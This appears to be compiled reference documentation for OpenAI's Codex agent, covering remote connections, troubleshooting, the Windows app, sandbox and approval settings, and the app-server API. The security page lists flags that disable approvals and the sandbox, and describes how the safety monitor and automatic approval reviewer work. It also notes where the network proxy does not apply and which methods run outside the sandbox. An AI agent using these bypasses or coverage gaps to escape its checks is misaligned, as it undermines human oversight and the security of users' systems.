- Troubleshooting: host not visible on the phone (desktop app running, **Allow other devices to connect** enabled, same account and workspace; if unused since June 8, 2026, update both apps and re-pair); Remote Control is off after sign-in (turn it back on; if an error appears after **Add**, restart the desktop app on the host); the approval request doesn't appear (open **Codex** on iOS or **Remote**, confirm the same account and workspace, re-scan the QR code or restart setup, ask your admin about Remote Control access); the session disconnects (host slept, lost network, or closed the app); authentication blocks setup (complete the SSO, MFA, or passkey prompt; ask your admin).
- Local computer access with Work Cloud (ChatGPT Work only) is a separate feature; it applies only to tasks created after you enable sync, and it doesn't change how Codex on mobile connects to a host. See the ChatGPT Work guidance for that feature.
- Existing connections used since June 8, 2026 remain paired; older unused connections require updating both apps and re-pairing.
- Uses SSH to start/manage the remote Codex app server — don't expose app-server transports directly on a shared or public network; use a VPN/mesh tool to reach a remote machine outside the current network.
- Signing out of ChatGPT turns off Remote Control but keeps existing device pairings; sign back in and re-enable it to restore the connection.
- Workspace admins may need to enable Remote Control access before a user can connect from their phone.
- Source: https://learn.chatgpt.com/docs/remote-connections (retrieved 2026-10).
## Related
- [Codex Remote](./remote.md)
references/getting-started/remote.md
# Codex on mobile (Codex Remote)
Start, guide, and review Codex coding tasks from your phone. Follow progress, approve actions, and send instructions; Codex runs tasks in the cloud or on a connected Mac or Windows PC. Formerly referred to as Remote. Availability depends on rollout and your workspace settings.
## Signature / Usage
In the ChatGPT desktop app on the host: **Settings > Connections > Control this Mac or PC > Set up** (or **Add**), approve remote access and complete any requested verification, scan the QR code with your phone, sign in to the same ChatGPT account and workspace, approve the connection, then open **Codex** in the ChatGPT mobile app (iOS) to start or continue a task. If your mobile app still shows Remote, open that instead.
## Notes
- Source: https://learn.chatgpt.com/docs/mobile (retrieved 2026-10; page title "Codex on mobile").
- Use the ChatGPT mobile app with Cloud or a connected Mac or Windows PC. Keep the host computer awake and online, signed in to the desktop app. Only connect devices you own and trust.
- Advantages: start tasks from your phone (choose Cloud and an environment, or a connected computer and project), guide work as it happens (follow progress, send new instructions), approve requested commands and actions before Codex continues on your connected computer, and review responses, changed files, diffs, and test results.
- Keep work moving from anywhere: (1) see tasks across your hosts (Cloud and connected computers, existing conversations, when your input is needed); (2) approve requests; (3) review changed code; (4) start new tasks. Codex runs the work under your organization's security policies and the connected computer's existing sandbox/approval settings.
- Explore setup and security (computer requirements, device management, permissions, troubleshooting) in [Remote connections](./remote-connections.md).
## Related
- [Remote connections](./remote-connections.md)
references/getting-started/troubleshooting.md
# Troubleshooting
FAQ, logs, stuck-state recovery, and terminal issues for the ChatGPT desktop app and Codex.
## Signature / Usage
Compare Codex versions when a feature works in the CLI but not in the desktop app:
```bash
codex --version
/Applications/Codex.app/Contents/Resources/codex --version # Codex bundled with the desktop app (retained Codex.app compatibility bundle path)
```
## Options / Props
| Symptom | Resolution |
|---------|------------|
| Files in side panel that Codex didn't edit | The review panel reflects the project's Git state. Switch staged/unstaged or compare with main; use the **Last turn** view for only the last turn's changes. |
| Remove a project from the sidebar | Hover the project name, select the three dots, choose **Remove**. Re-add via **Add new project** next to **Chats** or `Cmd`+`O`. |
| Find archived chats | In Settings (`codex://settings`), **Archived chats**; unarchived chats return to their original sidebar location. |
| Only some chats appear in sidebar | Filter icon next to **Chats** > **Chronological**; then check **Archived chats** in Settings. |
| Code doesn't run on a worktree | Worktrees inherit Git-checked-in files only. Use a local environment setup script, or copy ignored files with `.worktreeinclude`, or check out the changes in the regular project. |
| Teammate's shared local environment not picked up | The configuration must be in the `.codex` folder at the project root; open the project at the directory containing `.codex`. |
| Codex asks to access Apple Music | macOS requires approval for directories such as Music, Downloads, Desktop when Codex reads your home directory. |
| Scheduled tasks create many worktrees | Archive scheduled runs you no longer need; avoid pinning runs unless you intend to keep their worktrees. |
| Wrong target (Local / Worktree / Cloud) | Cancel the run and press the up arrow key in the composer to recover the prompt. |
| Fonts not rendering correctly | Set **Code font** in Settings (shared by review pane, integrated terminal, other code). |
## Notes
- **Approve for me missing or disabled**: select it from the permissions control below the composer. Update the app and check the permissions menu in that chat (choices differ between local and cloud). For local execution check for an explicit `features.guardian_approval = false` and the configured permission profile, approval policy, and approval reviewer. In a managed workspace, ask the administrator; organization or device policy can restrict these and local settings can't override it. If still unavailable, include app version, OS, execution environment, and whether the option is missing or disabled in feedback.
- **Work conversation does not appear on another device**: confirm the same ChatGPT account and workspace on each device; ask the workspace owner to check Work Cloud and **Allow local computer access**. If `enforce_residency` is enabled in any cloud policy, **Allow local computer access** is disabled for both Work and dots. Sync applies only to tasks created after it is enabled; existing tasks are not migrated.
- **Synced task cannot use the computer's files or tools**: keep the computer online. If unavailable when a new turn starts, an eligible synced task can continue in a cloud container without access to the computer's files or tools; a running turn doesn't move automatically.
- **Turn stopped after Local computer access with Work Cloud was turned off**: running turns are interrupted; send a new message to start another turn (in an existing cloud conversation it uses Work Cloud without local files).
- **Automated policy updates missing**: use the policy API for Global settings; use the Agent Security UI for Local or Codex Cloud settings. Existing Global API workflows remain after migration; test scripts and Terraform integrations and confirm policy assignments and ordering are unchanged.
- **Environment allows network access but the action is blocked**: a higher-priority policy wins even if a lower-priority one is more specific; within one policy, OS-specific environment overrides take priority over all-OS overrides, then Global. Managed HTTP/SOCKS listener ports and non-loopback proxy listeners are unsupported by the cloud runtime; socket-rule support depends on the execution path. Don't broaden the global baseline to work around a failed test.
- **Feedback**: type `/` in the composer to send feedback (you receive a session ID). Report issues in the `openai/codex` GitHub repo.
- **Logs**: App logs (macOS) `~/Library/Logs/com.openai.codex/YYYY/MM/DD`; session transcripts `$CODEX_HOME/sessions` (default `~/.codex/sessions`); archived sessions `$CODEX_HOME/archived_sessions` (default `~/.codex/archived_sessions`). Review logs for sensitive information before sharing.
- **Stuck chat**: check whether Codex is waiting for an approval; open the terminal and run a basic command like `git status`; start a new chat with a smaller prompt.
- **Stuck terminal**: close the panel, reopen with `Ctrl`+`` ` ``, re-run `pwd` or `git status`; if still stuck, wait until active chats finish and restart the app.
- The desktop app and Codex CLI can bundle different Codex versions, so features may reach one surface before the other.
- Source: https://learn.chatgpt.com/docs/reference/troubleshooting (retrieved 2026-10).
## Related
- [ChatGPT desktop app](./desktop-app.md)
- [ChatGPT desktop app for Windows](./windows-app.md)
- [Codex CLI](./cli.md)
references/getting-started/windows-app.md
# ChatGPT desktop app for Windows
The Windows build of the ChatGPT desktop app: worktrees, scheduled tasks, Git functionality, built-in browser, file previews, plugins, and skills, running natively via PowerShell under the native Windows sandbox, or configurable to run the agent inside WSL2.
## Signature / Usage
```powershell
winget install --id 9PLM9XGG6VKS -s msstore
```
Then follow the quickstart (`learn.chatgpt.com/docs/quickstart?setup=app`) to sign in and open a project.
## Options / Props
| Name | Description |
|------|-------------|
| Preferred editor | Default app for **Open** (VS Code, Visual Studio, etc.); overridable per project. |
| Integrated terminal | PowerShell, Command Prompt, Git Bash, or WSL — applies to new terminal sessions only. |
| Agent: Windows-native vs. WSL | **Settings**: switch the agent to run in WSL2 instead of PowerShell; requires an app restart to take effect. |
| Useful dev tools | Git (review panel), Node.js, Python, .NET SDK, GitHub CLI — installable via `winget install --id <PackageId>`. |
## Notes
- Native sandbox applies when the agent runs in PowerShell (the Windows sandbox; see windows-sandbox.md, where `mxc` is recommended and `elevated` / `unelevated` are legacy fallbacks); Linux sandboxing applies when the agent runs in WSL2. Select **Ask for approval** beneath the composer to keep sandbox protections active in either mode. Full access mode isn't limited to your project directory and might perform unintentional destructive actions; keep sandbox boundaries and use rules for targeted exceptions.
- Download: Microsoft Store (`winget install --id 9PLM9XGG6VKS -s msstore`); for enterprise installation and update options see the Windows deployment page. If you add a project from WSL, use **Add new project** or Ctrl+O and type `\\wsl$\` into the File Explorer window. WSL1 was supported through Codex `0.114`; unsupported since `0.115`. The integrated terminal is configured independently from the agent (e.g. agent in WSL with PowerShell terminal). The preferred editor choice for **Open** can be overridden per project, and a project-specific choice from the **Open** menu takes precedence.
- Developer tools via `winget`: `winget install --id Git.Git`, `OpenJS.NodeJS.LTS`, `Python.Python.3.14`, `Microsoft.DotNet.SDK.10`, `GitHub.cli` (then `gh auth login` to enable GitHub features); change package IDs for other Python or .NET versions.
- Local environment scripts: cross-platform commands such as `npm` scripts can share one setup script or set of actions; create Windows-specific scripts or actions when needed. Actions run in the environment used by your integrated terminal; local setup scripts run in the agent environment (WSL if the agent uses WSL, otherwise PowerShell).
- Troubleshooting: Git features unavailable without native Git (`winget install Git.Git` from PowerShell or `cmd.exe`); Git isn't detected for projects opened from `\\wsl$` (store the project on the native Windows drive and access it in WSL via `/mnt/<drive>/...`); `Cmder` not listed in the open dialog (right-click `Cmder` > **Add to Start**, then restart Codex or reboot).
- Elevated command execution: start the desktop app itself via **Run as administrator** — the Codex agent inherits that permission level.
- PowerShell execution-policy errors (`... cannot be loaded because running scripts is disabled ...`) are commonly fixed with `Set-ExecutionPolicy -ExecutionPolicy RemoteSigned`.
- Uses the same Codex home directory as native Windows Codex CLI: `%USERPROFILE%\.codex`. The CLI inside WSL uses the Linux home directory by default, so it doesn't share configuration, cached auth, or session history automatically; to share, sync WSL `~/.codex` with `%USERPROFILE%\.codex` or set `export CODEX_HOME=/mnt/c/Users/<windows-user>/.codex` in the WSL shell profile (`~/.bashrc` / `~/.zshrc`). See also [WSL](../security-automation/windows-wsl.md).
- Opening a project from `\\wsl$\...` with the Windows-native agent is unreliable — prefer storing the project on the native Windows drive and accessing it from WSL via `/mnt/<drive>/...`.
- Source: https://learn.chatgpt.com/docs/windows/windows-app (retrieved 2026-10).
## Related
- [Codex CLI](./cli.md)
- [Codex IDE extension](./ide.md)
- Windows sandbox (`../security-automation/windows-sandbox.md`)
- WSL (`../security-automation/windows-wsl.md`)
- Deploy the Windows app (`../administration/windows-deployment.md`)
references/security-automation/agent-approvals-security.md
# Agent approvals & security
How to operate Codex safely across sandboxing, approvals, and network access. Covers the two-layer security model (sandbox mode + approval policy), network isolation, auto-review, OS-level enforcement, Dev Containers, and telemetry.
## Signature / Usage
```bash
# Auto preset (default recommendation for version-controlled folders)
codex --sandbox workspace-write --ask-for-approval on-request
# Read-only, non-interactive (CI)
codex --sandbox read-only --ask-for-approval never
# Dangerous full access (not recommended)
codex --dangerously-bypass-approvals-and-sandbox # alias: --yolo
```
```toml
# config.toml
approval_policy = "on-request"
sandbox_mode = "read-only"
allow_login_shell = false # optional hardening
[sandbox_workspace_write]
network_access = true
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `sandbox_mode` | `read-only` \| `workspace-write` \| `danger-full-access` | What Codex can technically do (where it can write, whether it can reach the network) when executing model-generated commands. |
| `approval_policy` | `on-request` \| `never` \| `{ granular = { sandbox_approval = true, rules = true, mcp_elicitations = true, request_permissions = false, skill_approval = false } }` | When Codex must stop and ask before acting. `untrusted` is retired (see Notes). Granular policy can toggle `sandbox_approval`, `rules`, `mcp_elicitations`, `request_permissions`, `skill_approval` independently. |
| `approvals_reviewer` | `user` (default) \| `auto_review` | Who reviews interactive approval requests. `auto_review` routes eligible requests to a reviewer agent instead of a human (see Auto-review). |
| `sandbox_workspace_write.network_access` | boolean | Enables network access in `workspace-write` mode (off by default). |
| `features.network_proxy.enabled` / `.domains` | boolean / table | Constrains already-enabled command network access to an allow/deny domain policy. Does not grant network access by itself. |
| `web_search` | `cached` (default) \| `live` \| `disabled` \| `indexed` | Controls the web search tool independently of full network access. |
| `--ask-for-approval never` / `-a never` | flag | Disables approval prompts; works with all `--sandbox` modes. |
| `codex sandbox macos [--permission-profile <name>] [--log-denials] [COMMAND]...` | CLI | Test what a command would do under the macOS sandbox. |
| `codex sandbox linux\|windows [--permission-profile <name>] [COMMAND]...` | CLI | Same for Linux / Windows (aliases: `codex debug`, `codex sandbox seatbelt`, `codex sandbox landlock`). |
## Notes
- Migrate from the retired `untrusted` approval policy: Codex and ChatGPT Work no longer support `approval_policy = "untrusted"`, and the retired setting can prevent either client from starting. Remove it from user/project configuration, profile files, startup scripts, and managed defaults. For interactive read-only use set `sandbox_mode = "read-only"` and `approval_policy = "on-request"` (or `codex --sandbox read-only --ask-for-approval on-request`). To preserve the stricter command-approval rule, omit an explicit `approval_policy` and add `[projects."/path/to/project"] trust_level = "untrusted"` to user-level `~/.codex/config.toml`: commands then require approval unless an execution-policy rule allows them, and project-local configuration is disabled. Explicitly setting `on-request` overrides the project-derived policy; managed `allowed_approval_policies` must include `untrusted` to permit it.
- Safety monitoring and paused tasks: GPT-6 Astra includes safety monitoring in Codex and ChatGPT Work. It runs asynchronously and can pause a task on potentially unsafe model behavior (a pause can arrive after the triggering activity); it doesn't replace sandboxing, permissions, or review. If a task pauses, review the findings when available and resume only after checking. In Codex CLI and mobile, and with zero data retention, Modified Abuse Monitoring, or non-US data storage residency, full findings and resume aren't available and the task ends. Safety monitoring evaluates model behavior during a task; automatic approval review evaluates individual actions that already require approval.
- Network access defaults: the agent runs with network turned off; `workspace-write` keeps it off unless `sandbox_workspace_write.network_access = true`. Combinations: network off + `network_proxy` on = stays off; network on + proxy off = unrestricted direct outbound; network on + proxy on = constrained by policy. A permission profile's `network.enabled = true` grants command network access while `features.network_proxy = true` activates enforcement of its domain rules. Admin-managed `experimental_network` requirements can start sandboxed networking without `features.network_proxy`, but don't turn network access on. One-off: `codex -c 'features.network_proxy=true' -c 'sandbox_workspace_write.network_access=true'`.
- The proxy filters scripts, programs, and child processes inside the local command sandbox. It does not filter web search, app/connector tool calls, MCP server connections, browser or Computer Use activity, Codex cloud tasks, or the client's model and authentication requests. Combine with `allowed_web_search_modes`, approved `mcp_servers`, and feature requirements for managed users. Approved full sandbox escalation can bypass the command proxy where policy permits.
- Defaults and recommendations: Codex detects version-controlled folders and recommends `Auto` (workspace write + on-request); non-version-controlled folders get `read-only`; it may start in `read-only` until you trust the directory. The workspace includes the current directory and temporary directories like `/tmp` (see `/status`). Switch to read-only with `/permissions`. Protected paths in writable roots (recursive, read-only): `.git` (and the resolved Git directory for a pointer file), `.agents`, `.codex`, `.aws`.
- Run without prompts: `--ask-for-approval never` / `-a never` works with all `--sandbox` modes; `--sandbox danger-full-access` (or `--dangerously-bypass-approvals-and-sandbox`) allows edits and network without prompts. Granular policy keeps selected prompt categories interactive and auto-rejects others. Destructive app/MCP tool calls always require approval when the tool advertises a destructive annotation (unless it advertises a read annotation, which takes priority).
- Automatic approval reviews: set `approvals_reviewer = "auto_review"` (with `on-request` or granular policy) to route eligible requests to a reviewer agent; the reviewer evaluates only actions that already need approval (sandbox escalations, blocked network requests, `request_permissions`, side-effecting app/MCP calls). Policy checks data exfiltration, credential probing, persistent security weakening, and destructive actions; critical-risk actions are denied; prompt-build, review-session, and parse failures fail closed; timeouts are surfaced but the action doesn't run. Enterprises can replace the tenant-specific policy section with `guardian_policy_config`; local `[auto_review].policy` is supported but managed requirements take precedence. It uses extra model calls (admins can constrain it with `allowed_approvals_reviewers`).
- Monitoring and telemetry (OTel): off by default; `[otel]` with `environment`, `exporter` (`none` | `otlp-http` | `otlp-grpc`), `log_user_prompt = false`. `exporter = "none"` leaves instrumentation active but sends nothing. Keep `log_user_prompt = false` unless policy permits storing prompts; route telemetry only to collectors you control; with CLI network off the exporter can't reach the collector. Events: `codex.conversation_starts`, `codex.api_request`, `codex.sse_event`, `codex.websocket_request` / `codex.websocket_event`, `codex.user_prompt`, `codex.tool_decision`, `codex.tool_result`; metrics include `codex.api_request`, `codex.sse_event`, `codex.websocket.request`, `codex.websocket.event`, `codex.tool.call` (+ `.duration_ms`).
- Managed configuration: enterprise admins can configure Codex security settings for their workspace (see managed-configuration.md in the administration category).
- Windows: native sandbox supports MXC, with `elevated` and `unelevated` as legacy fallbacks; set `[features] prefer_mxc = true` and keep a permitted legacy implementation in `windows.sandbox`. IDE extension on Windows: `"chatgpt.runCodexInWindowsSubsystemForLinux": true` keeps the agent inside WSL2.
- Containers: in Docker the Linux sandbox may fail if namespace, setuid `bwrap`, or `seccomp` operations are blocked; provide isolation in the container and run `codex --sandbox danger-full-access` inside it. Dev Containers don't prevent every attack: with `danger-full-access`, a malicious project can exfiltrate anything inside the devcontainer, including Codex credentials; use only with trusted repositories.
- Version control: work on a feature branch with clean `git status`, prefer patch-based workflows, commit frequently, and review Codex changes like any PR.
- Codex uses different sandbox mechanisms per surface: Codex cloud runs isolated containers (two-phase: networked setup, then offline agent phase unless internet access is enabled); local CLI/IDE use OS-level enforcement.
- Protected paths remain read-only even in `workspace-write`: `<root>/.git`, `<root>/.agents`, `<root>/.codex` (recursively).
- OS enforcement: macOS uses Seatbelt (`sandbox-exec`); Linux/WSL2 use `bwrap` + `seccomp` (WSL1 was supported through Codex 0.114; unsupported since 0.115); native Windows uses MXC with `elevated` / `unelevated` as legacy fallbacks (see windows-sandbox.md).
- Network policy is allowlist-first: exact hosts match only themselves, `*.example.com` matches subdomains only, `**.example.com` matches apex + subdomains, global `*` is allow-only, `deny` always wins.
- Local/private destinations are blocked by default (`allow_local_binding = false`); DNS-rebinding checks block hostnames resolving to non-public addresses.
- Two `dangerously_*` settings widen the trust boundary and should be used only in tightly controlled environments: `dangerously_allow_non_loopback_proxy`, `dangerously_allow_all_unix_sockets`.
- **This page and `sandboxing.md` describe the older `sandbox_mode` / `sandbox_workspace_write` / `features.network_proxy` model.** As of Codex 0.138.0 it does not compose with the newer `default_permissions` / `[permissions.<name>]` profile system in `permissions.md` — only one system is active per session. Codex falls back to this older model whenever `sandbox_mode` appears in any loaded config, `--sandbox` is passed, or the selected profile sets `sandbox_mode`; the exception is managed `allowed_permission_profiles`, which forces the profile system.
- Dev Containers can supply the outer isolation boundary when the host cannot run the Linux sandbox directly; see the `openai/codex` `.devcontainer` secure example.
- Opt-in OpenTelemetry (`[otel]`) can log tool approval decisions and results (off by default); keep `log_user_prompt = false` unless policy allows storing prompt text.
- This page is distinct from "Codex Security", OpenAI's separate product for scanning connected GitHub repositories (`docs/security/*`) — not covered in this category.
- The table uses the CLI reference's singular `--permission-profile`; the official guide writes `--permissions-profile` (plural). The two sources disagree; the singular form is the one verified against the command-line options listing (`--permission-profile, -P <NAME>`).
## Related
- [Permission profiles](./permission-profiles.md)
- [Sandbox](./sandbox.md)
- [Auto-review](./auto-review.md)
- [Windows sandbox](./windows-sandbox.md)
references/security-automation/agents-sdk-mcp-server.md
# Codex MCP server removal
The `codex mcp-server` command and the standalone `codex-mcp-server` binary have been removed. Integrations that launch either command must migrate before upgrading Codex. The previous MCP tool reference and Agents SDK examples are no longer supported.
## Signature / Usage
Migrate from MCP tool calls to the Codex app server, which uses its own JSON-RPC protocol:
```bash
# before (removed)
codex mcp-server
# after
codex app-server
```
Managing external MCP servers is unchanged:
```bash
codex mcp add <server-name> -- <stdio server-command>
codex mcp list
```
## Options / Props
| Name | Description |
|------|-------------|
| `codex mcp-server` | Removed. |
| `codex-mcp-server` (standalone binary) | Removed. |
| Codex app server | Replacement for integrations that need authentication, conversation history, approvals, and streamed agent events. Its own JSON-RPC protocol; not an MCP server or a drop-in replacement for an MCP client. |
| `codex mcp` | Still manages connections to external MCP servers. |
## Notes
- Update your integration to use the app-server protocol instead of MCP tool calls. The app-server command is experimental and isn't supported for production workloads.
- Codex continues to support external MCP servers; the removal affects hosting Codex as an MCP server.
- Historical (no longer supported): the former server exposed two tools via `tools/list`, `codex` (start a session; `prompt`, `approval-policy`, `sandbox`, `model`, `cwd`, `config`, `base-instructions`, `developer-instructions`, `compact-prompt`) and `codex-reply` (continue via `threadId`), and was driven from the OpenAI Agents SDK through `MCPServerStdio`. Don't build new integrations on it.
- For automation or CI, use the Codex SDK instead of driving app-server directly.
- Source: https://learn.chatgpt.com/docs/mcp-server (retrieved 2026-10).
## Related
- [Codex app server](./app-server.md)
- [Codex SDK](./codex-sdk.md)
- [Non-interactive mode](./non-interactive-mode.md)
references/security-automation/app-server.md
# Codex App Server
Codex app-server is the interface Codex uses to power rich clients (for example, the Codex VS Code extension). Use it for a deep integration inside your own product: authentication, conversation history, approvals, and streamed agent events. The implementation is open source (`openai/codex`, `codex-rs/app-server`). Codex app-server is the successor to the removed `codex mcp-server`. If you are automating jobs or running Codex in CI, use the Codex SDK instead.
## Signature / Usage
```bash
# default transport: stdio (newline-delimited JSON)
codex app-server
# WebSocket listener (experimental, unsupported)
codex app-server --listen ws://127.0.0.1:4500
# Unix socket listener (default socket, or a custom path)
codex app-server --listen unix://
codex app-server --listen off # don't expose a local transport
# generate type definitions matching your Codex version
codex app-server generate-ts --out ./schemas
codex app-server generate-json-schema --out ./schemas
# Connect the CLI terminal UI to a remote app-server
codex --remote ws://127.0.0.1:4500
export CODEX_REMOTE_TOKEN="$(cat "$HOME/.codex/app-server-token")"
codex --remote wss://remote-host:4500 --remote-auth-token-env CODEX_REMOTE_TOKEN
# Remote Code Mode host
codex app-server --code-mode-host wss://code-mode.example.com/host
```
Client handshake over the chosen transport (JSON-RPC 2.0 with the `jsonrpc` header omitted):
```json
{ "method": "initialize", "id": 0, "params": {
"clientInfo": { "name": "codex_vscode", "title": "Codex VS Code Extension", "version": "0.1.0" }
} }
{ "method": "initialized" }
{ "method": "thread/start", "id": 1, "params": { "model": "gpt-6.1-sol" } }
{ "method": "turn/start", "id": 2, "params": {
"threadId": "thr_123",
"input": [ { "type": "text", "text": "Summarize this repo." } ]
} }
```
After the handshake: start a thread (`thread/start`), start a turn (`turn/start`), then keep reading notifications from the transport until `turn/completed`.
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `--listen <url>` | CLI flag | `stdio://` (default; JSONL), `ws://IP:PORT` (experimental; one JSON-RPC message per text frame), `unix://` / `unix://PATH` (WebSocket over a Unix socket with the HTTP Upgrade handshake), or `off`. |
| `--code-mode-host` | CLI flag | Outbound connection from app-server to a remote Code Mode host over `wss://` (default is a local host); doesn't change `--listen`; all threads in the process share it. Experimental. |
| `codex --remote <endpoint>` | CLI flag | Attach the CLI terminal UI to an app-server on another machine; accepts `ws://`, `wss://`, `unix://`, `unix://PATH`. Plain WebSockets only for localhost or SSH port-forwarding. |
| `--remote-auth-token-env <VAR>` | CLI flag | Name of the environment variable holding the bearer token (avoid raw tokens on the command line). |
| `--ws-auth capability-token --ws-token-file <abs path>` / `--ws-token-sha256 <HEX>` | server flags | Capability-token WebSocket auth. Prefer `--ws-token-file`; the SHA-256 is only a verifier, clients still need the original token. |
| `--ws-auth signed-bearer-token --ws-shared-secret-file <abs path>` | server flags | Signed bearer token auth; optionally `--ws-issuer`, `--ws-audience`, `--ws-max-clock-skew-seconds`. Clients send `Authorization: Bearer <token>` during the handshake; auth is enforced before `initialize`. |
| `capabilities.experimentalApi` | `initialize` param | `true` opts in to experimental methods/fields; omitted or `false` keeps the stable API (otherwise `<descriptor> requires experimentalApi capability`). |
| `capabilities.optOutNotificationMethods` | `initialize` param | Exact notification method names to suppress for this connection (no wildcards; unknown names ignored; doesn't apply to requests, responses, or errors). |
| `capabilities.requestAttestation` | `initialize` param | Opt in to the server-initiated `attestation/generate` request. |
| `capabilities.mcpServerOpenaiFormElicitation` | `initialize` param | Allow the OpenAI extended-form variant of `mcpServer/elicitation/request`. |
| `clientInfo` | `initialize` param | `name`, `title`, `version`; `name` identifies your client in the OpenAI Compliance Logs Platform (contact OpenAI to be added to the known clients list for enterprise use). |
Core primitives: a thread is a conversation, a turn is one user request plus the agent's work, an item is a single input or output unit within a turn.
Key methods (JSON-RPC):
| Area | Methods |
|------|---------|
| Models and features | `model/list`, `modelProvider/capabilities/read`, `experimentalFeature/list`, `experimentalFeature/enablement/set`, `environment/info` (experimental), `permissionProfile/list`, `collaborationMode/list` |
| Threads | `thread/start`, `thread/resume` (`excludeTurns: true`), `thread/fork` (`lastTurnId`, `ephemeral`), `thread/read`, `thread/list`, `thread/turns/list`, `thread/items/list`, `thread/loaded/list`, `thread/name/set`, `thread/goal/set\|get\|clear`, `thread/metadata/update`, `thread/archive`, `thread/unarchive`, `thread/delete`, `thread/unsubscribe`, `thread/status/changed`, `thread/compact/start`, `thread/shellCommand`, `thread/backgroundTerminals/*` (experimental), `thread/revert`, `thread/inject_items` |
| Turns | `turn/start`, `turn/steer` (`expectedTurnId`), `turn/interrupt` |
| Review | `review/start` (targets `uncommittedChanges`, `baseBranch`, `commit`, `custom`) |
| Execution | `command/exec` (+ `write`, `resize`, `terminate`, `outputDelta`), `process/spawn`, `process/writeStdin`, `process/resizePty`, `process/kill` (experimental, outside the sandbox) |
| Filesystem | `fs/readFile`, `fs/writeFile`, `fs/createDirectory`, `fs/getMetadata`, `fs/readDirectory`, `fs/remove`, `fs/copy`, `fs/watch`, `fs/unwatch`, `fs/changed` (notify) |
| Skills, hooks, plugins, apps | `skills/list`, `skills/extraRoots/set`, `skills/config/write`, `skills/changed`, `hooks/list`, `marketplace/add\|remove\|upgrade`, `plugin/list\|read\|install\|uninstall` (under development), `plugin/skill/read`, `app/installed`, `app/list`, `app/read` |
| MCP and config | `mcpServer/oauth/login`, `mcpServerStatus/list`, `mcpServer/resource/read`, `mcpServer/tool/call`, `config/mcpServer/reload`, `config/read`, `config/value/write`, `config/batchWrite`, `configRequirements/read`, `externalAgentConfig/detect`, `externalAgentConfig/import`, `windowsSandbox/setupStart`, `feedback/upload` |
| Auth | `account/read`, `account/login/start` (`apiKey`, `chatgpt`, `chatgptDeviceCode`, experimental `chatgptAuthTokens`), `account/login/cancel`, `account/logout`, `account/updated`, `account/rateLimits/read\|updated`, `account/usage/read`, `account/sendAddCreditsNudgeEmail`, `account/rateLimitResetCredit/consume`, `account/workspaceMessages/read`, `account/chatgptAuthTokens/refresh` (server request) |
## Notes
- The app-server command and WebSocket transport are experimental and aren't supported for production workloads. `process/*` is an experimental, explicit process-control API (requires `capabilities.experimentalApi = true`, runs outside Codex's sandbox). Some plugin methods are under development; don't call them from production clients yet.
- Health probes: with `--listen ws://IP:PORT` the same listener serves `GET /readyz` (200 once accepting connections) and `GET /healthz` (200 when the request has no `Origin` header; requests with an `Origin` header get 403). Non-loopback WebSocket listeners currently allow unauthenticated connections by default during rollout; configure WebSocket auth before exposing one remotely and put it behind TLS.
- Initialization: each connection sends exactly one `initialize` followed by an `initialized` notification before any other method; early requests return `Not initialized`, repeats return `Already initialized`. The response includes the user agent string plus `platformFamily` and `platformOs`.
- Overload: when ingress queues are full the server returns JSON-RPC error `-32001` (`"Server overloaded; retry later."`); retry with exponential backoff and jitter.
- Message schema: requests carry `method`, `params`, `id`; responses echo `id` with `result` or `error`; notifications omit `id`. Use `model/list` to pick an available model (the examples use `gpt-6.1-sol`, which requires access for the account or workspace); `supportsPersonality` is a deprecated compatibility field and always `false`.
- Threads: `thread/start` accepts `model`, `cwd`, `approvalPolicy`, `sandbox`, `serviceName`, and (beta, with `experimentalApi`) a `permissions` profile id instead of `sandbox` (don't send both; discover with `permissionProfile/list`). New persistent local threads use paginated history by default; load history with `thread/turns/list` / `thread/items/list`. Full-history `thread/resume` / `thread/fork` and `thread/read` with `includeTurns: true` are deprecated for paginated threads and emit `deprecationNotice`. `thread/read` doesn't load the thread or emit `thread/started`; status is `notLoaded`, `idle`, `systemError`, or `active` with `activeFlags`. `thread/unsubscribe` unloads after an inactivity grace period and emits `thread/closed`. `thread/shellCommand` runs outside the sandbox with full access. `thread.sessionId` identifies the live session tree root. Goal objectives are non-empty and at most 4,000 characters. A required MCP server that fails to initialize makes `thread/start` and `thread/resume` fail.
- Turns: `input` items are `text`, `image` (`url`), `localImage` (`path`), and `skill`; per-turn overrides (model, effort, `cwd`, sandbox policy, summary) become defaults for later turns, while `outputSchema` applies only to the current turn. `toolOutput` (nonempty `name`, optional `namespace`, `output`) starts a turn with client-run tool output and requires empty `input`. `turn/steer` needs `expectedTurnId`, fails with no active turn, emits no new `turn/started`, and accepts no turn-level overrides. `sandboxPolicy` types: `dangerFullAccess`, `readOnly` (`access`), `workspaceWrite` (`writableRoots`, `readOnlyAccess`, `networkAccess`), `externalSandbox` (`networkAccess` `restricted` | `enabled`); restricted read access is `{type: "restricted", includePlatformDefaults, readableRoots}` (on macOS `includePlatformDefaults` appends a curated Seatbelt policy).
- Review: `delivery: "inline"` (default) runs on the existing thread, streaming `enteredReviewMode` and `exitedReviewMode` items; `delivery: "detached"` is deprecated (use `thread/fork` then `turn/start`).
- Command execution: `command/exec` runs one `argv` command under the server sandbox without a thread (`timeoutMs`, `tty`, `processId`, `streamStdoutStderr`); empty `command` arrays are rejected.
- Events: `thread/*`, `turn/*` (`turn/started`, `turn/completed` with `completed` | `interrupted` | `failed`, `turn/diff/updated`, `turn/plan/updated`), `hook/started` / `hook/completed` (synchronous hooks only), `model/safetyBuffering/updated`, `model/rerouted`, `model/verification`, `thread/tokenUsage/updated`, `item/started` / `item/completed` (authoritative), and deltas (`item/agentMessage/delta`, `item/plan/delta`, `item/reasoning/*`, `item/commandExecution/outputDelta`; `item/fileChange/outputDelta` is deprecated). Item types: `userMessage`, `functionCallOutput`, `agentMessage` (`phase`), `plan`, `reasoning`, `commandExecution`, `fileChange`, `mcpToolCall`, `dynamicToolCall`, `collabToolCall`, `webSearch`, `imageView`, `enteredReviewMode`, `exitedReviewMode`, `contextCompaction` (the legacy `thread/compacted` notification is deprecated).
- Errors: a failed turn emits `error` with `{ message, codexErrorInfo?, additionalDetails? }` and finishes with `status: "failed"`; `codexErrorInfo` values include `ContextWindowExceeded`, `UsageLimitExceeded`, `HttpConnectionFailed`, `ResponseStreamConnectionFailed`, `ResponseStreamDisconnected`, `ResponseTooManyFailedAttempts`, `BadRequest`, `Unauthorized`, `SandboxError`, `InternalServerError`, `Other` (upstream HTTP status in `httpStatusCode`).
